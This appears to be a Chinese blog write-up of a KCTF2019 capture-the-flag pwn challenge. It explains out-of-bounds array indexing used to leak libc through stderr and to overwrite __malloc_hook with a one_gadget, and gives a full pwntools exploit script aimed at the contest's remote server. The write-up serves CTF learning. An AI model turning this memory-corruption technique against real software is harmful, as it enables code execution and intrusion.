KCTF2019-拯救单身狗

0x00 散序

早上刚起来就在朋友圈遭受到子怡姐姐的一波暴击,之后再次被这道题蹂躏了一波,果然单身狗没人权啊。。。。。

题目来源:看雪CTF2019 晋级赛Q1 第四题(pwn)

0x01 歌

Ⅰ 检查保护

喜闻乐见保护全开。。。。

Ⅱ 静态分析

主函数看了一下,很明显是一个堆题的结构。

这题的漏洞主要有两个。

其一是在两个edit函数里,都存在着因没对输入的数组下标做检查而导致的数组越界。

看一下全局变量的上下内容,很明显可以发现当你越下界时你可以利用read函数去修改one数组也就是luckydog的指针实现任意地址写,越上界时又可以通过printf函数去泄露ELF基址。

至此利用思路大致成形。

Ⅲ 漏洞利用

既然保护全开又没给libc,第一件事当然是泄露ELF基址以此确定libc版本号。只要我们给数组的index为-4便可以很容易越界到stderr@@GLIBC_2_2_5上去。至于stderr@@GLIBC_2_2_5便是一个IO FILE的结构体,大体结构便是如下图这样。

看到这样岂不是美滋滋,printf函数leak之后截取一下,_IO_2_1_stderr_+131的地址不就泄露出来了吗,之后减个131不就是得到_IO_2_1_stderr的地址了吗,到https://libc.blukat.me 查一下版本号就好。

至于getshell我们只要先执行luckydog函数

在数组one里便会存入一个0x20大小的内存块,而这个内存块的前8字节则放着另一个内存块的地址。而我们只要利用函数edit_singledog的越界修改便可以修改内存块里存着的那个内存块的地址。如果我们将其改为malloc_hook的地址,之后再利用函数edit_luckydog便可以修改malloc_hook所存的内容。

我们可以利用此将__malloc_hook的内容改为one_gadget,这样我们只需再调用一次malloc函数便可以成功getshell。当然前面我们在查libc版本时,是会给出三个可能的libc版本(64位),这里就需要你一个一个去试咯,像我这种非洲人试到最后一个才成功233333,远程的libc版本为2.27.

Ⅳ poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
elf=ELF("./apwn")
context.log_level="debug"

local=0
if local:
    p=process("./apwn")
    libc=ELF("./libc-2.23.so")
    gadget=0xf1147
    pause()
    #gdb.attach(p)
else:
    p=remote("211.159.175.39",8686)
    libc=ELF("./libc-2.27.so")
    gadget=0x10a38c

def edits(ind,con):
    p.sendlineafter(">\n","3")
    p.sendlineafter("?\n",str(ind))
    p.sendafter("luck.\n",con)

def editl(ind,con):
    p.sendlineafter(">\n","4")
    p.sendlineafter("?\n",str(ind))
    p.sendafter("name?\n","chunk")
    p.sendafter("name\n",con)

def creats(con):
    p.sendlineafter(">\n","1")
    # p.sendafter("Name:\n",con)

def creatl(con):
    p.sendlineafter(">\n","2")
    p.sendafter("Name\n","aaaa")
    p.sendafter("name\n",con)

edits(-4,"aaaaaaaa")
p.recv(18)
addr=u64(p.recv(6).ljust(8,"\x00"))-0x83
print "_IO_2_1_stderr_addr:",hex(addr)

'''edits(-6,"aaaaaaaa")
p.recv(18)
addr=u64(p.recv(6).ljust(8,"\x00"))-0x83
print hex(addr)
'''

base=addr-libc.symbols['_IO_2_1_stderr_']

one_gadget=gadget+base
malloc=libc.symbols["__malloc_hook"]+base

creatl("bbbb")
edits(80,p64(malloc))
editl(0,p64(one_gadget))

creats("")

p.interactive()

0x02 破

之前我是说过的,这题的漏洞主要有两个,但刚刚在上面我自始至终都只用了一个数组越界,其实还有一个漏洞就是在函数save_singledog中的越界copy。

很明显当single_num满时,当数组向前copy时会将one[1]赋值给two[79]。但这题其实只靠着数组越界便可以做出来了。

后来题目作者也说了,那个数组越界漏洞是个意外,他出题时没注意。。。。。。他的本意是想通过越界copy使两对象类型发生混淆,实现任意地址读写。

KCTF2019-拯救单身狗》有3个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注